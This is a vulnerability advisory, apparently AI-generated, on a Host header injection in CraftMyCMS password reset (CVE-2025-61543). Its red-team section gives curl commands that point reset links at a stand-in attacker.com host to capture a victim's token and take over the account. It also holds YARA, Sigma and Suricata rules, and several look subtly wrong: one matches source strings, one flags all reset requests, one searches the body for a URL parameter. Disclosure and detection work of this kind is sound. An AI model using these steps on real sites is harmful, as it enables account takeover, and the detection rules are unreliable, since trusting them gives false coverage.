CVE-2025-61543

Executive Summary

CVE-2025-61543 is a Host Header Injection vulnerability in CraftMyCMS version 4.0.2.2. The password reset functionality directly uses the $_SERVER['HTTP_HOST'] value to construct password reset links sent via email. An attacker can manipulate the Host header in the HTTP request to inject a malicious domain into the reset link. This enables phishing attacks where the victim clicks a link that appears legitimate but leads to an attacker-controlled server, potentially leading to account takeover.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must click the malicious link in the email.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., password reset token).
• Integrity (I): Low (L) - The attacker can modify the reset link destination.
• Availability (A): None (N) - No impact on availability.

CVSS Score: 4.3 (Medium)

Threat Level: Medium. The attack requires user interaction but can lead to account takeover if the victim is tricked.

Deep Dive & Mechanics

The vulnerability resides in the password reset functionality of CraftMyCMS. When a user requests a password reset, the application generates a unique token and sends an email containing a reset link. The link is constructed using the value of $_SERVER['HTTP_HOST'], which is the Host header from the incoming HTTP request.

An attacker can intercept or craft a request to the password reset endpoint with a modified Host header, such as attacker.com. The application will then generate a reset link like http://attacker.com/reset?token=TOKEN_VALUE. When the victim receives this email and clicks the link, they are directed to the attacker's server. The attacker can then capture the token and use it to reset the victim's password on the legitimate CraftMyCMS instance.

The core issue is the lack of validation or sanitization of the Host header before it is used in URL generation. The application should use a trusted base URL (e.g., from configuration) instead of relying on user-supplied input.

Vulnerable vs. Patched Code

Vulnerable Code (CraftMyCMS 4.0.2.2):

<?php
// Vulnerable: Directly uses HTTP_HOST
$resetLink = "http://" . $_SERVER['HTTP_HOST'] . "/reset?token=" . $token;
mail($userEmail, "Password Reset", "Click here: " . $resetLink);
?>

Patched Code (Hypothetical):

<?php
// Patched: Use a trusted base URL from configuration
$baseUrl = "https://legitimate-cms.com";
$resetLink = $baseUrl . "/reset?token=" . $token;
mail($userEmail, "Password Reset", "Click here: " . $resetLink);
?>

The patched version uses a hardcoded or configuration-based base URL, eliminating the injection vector.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install CraftMyCMS 4.0.2.2 on a local server (e.g., using XAMPP or Docker).
2. Set up a simple HTTP server on attacker.com (e.g., using Python: python3 -m http.server 80).
3. Configure DNS or hosts file to point attacker.com to your local machine.

Exploitation Steps:

1. Send a POST request to the password reset endpoint with a modified Host header:

   curl -X POST http://victim-cms.com/index.php?action=reset_password \
   -H "Host: attacker.com" \
   -d "email=victim@example.com"
   

2. The victim receives an email with a reset link pointing to http://attacker.com/reset?token=TOKEN.
3. When the victim clicks the link, the attacker's server captures the token (e.g., via server logs).
4. The attacker uses the token to reset the victim's password on the legitimate CMS:

   curl -X POST http://victim-cms.com/index.php?action=confirm_reset \
   -d "token=TOKEN&new_password=NewPass123"
   

Blue Team

Detection:

• Monitor for unusual Host headers in password reset requests.
• Check server logs for requests where the Host header does not match the expected domain.
• Alert on multiple password reset requests from the same IP in a short time.

Prevention:

• Implement Host header validation in the application.
• Use a whitelist of allowed Host headers.
• Deploy a Web Application Firewall (WAF) to block Host header manipulation.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to the password reset endpoint with a Host header different from the legitimate domain.
  • Emails containing password reset links with domains not owned by the organization.
• Host:
  • Server logs showing Host: attacker.com in requests to /index.php?action=reset_password.
  • Unusual entries in email logs for password reset emails.

Detection Engineering

YARA Rule

rule CVE_2025_61543_Host_Header_Injection {
    meta:
        description = "Detects Host Header Injection in CraftMyCMS password reset requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-61543"
    strings:
        $s1 = "reset_password" nocase
        $s2 = "HTTP_HOST" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CraftMyCMS Host Header Injection in Password Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-61543 by manipulating the Host header in password reset requests.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php'
        cs-uri-query: 'action=reset_password'
    condition: selection
falsepositives:
    - Legitimate reverse proxy configurations
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61543 CraftMyCMS Host Header Injection"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"action=reset_password"; http_client_body; pcre:"/Host:\s*(?!victim-cms\.com)/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update: Check for a patched version of CraftMyCMS. If unavailable, apply the hypothetical patch above.
2. WAF Rule: Deploy a WAF rule to block requests where the Host header does not match the expected domain.
3. Configuration: If possible, configure the application to use a hardcoded base URL for password reset links.

Long-Term Fixes:

• Code Review: Ensure all URL generation uses trusted sources, not user-supplied headers.
• Input Validation: Validate and sanitize the Host header against a whitelist.
• Security Headers: Implement X-Forwarded-Host validation if behind a proxy.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.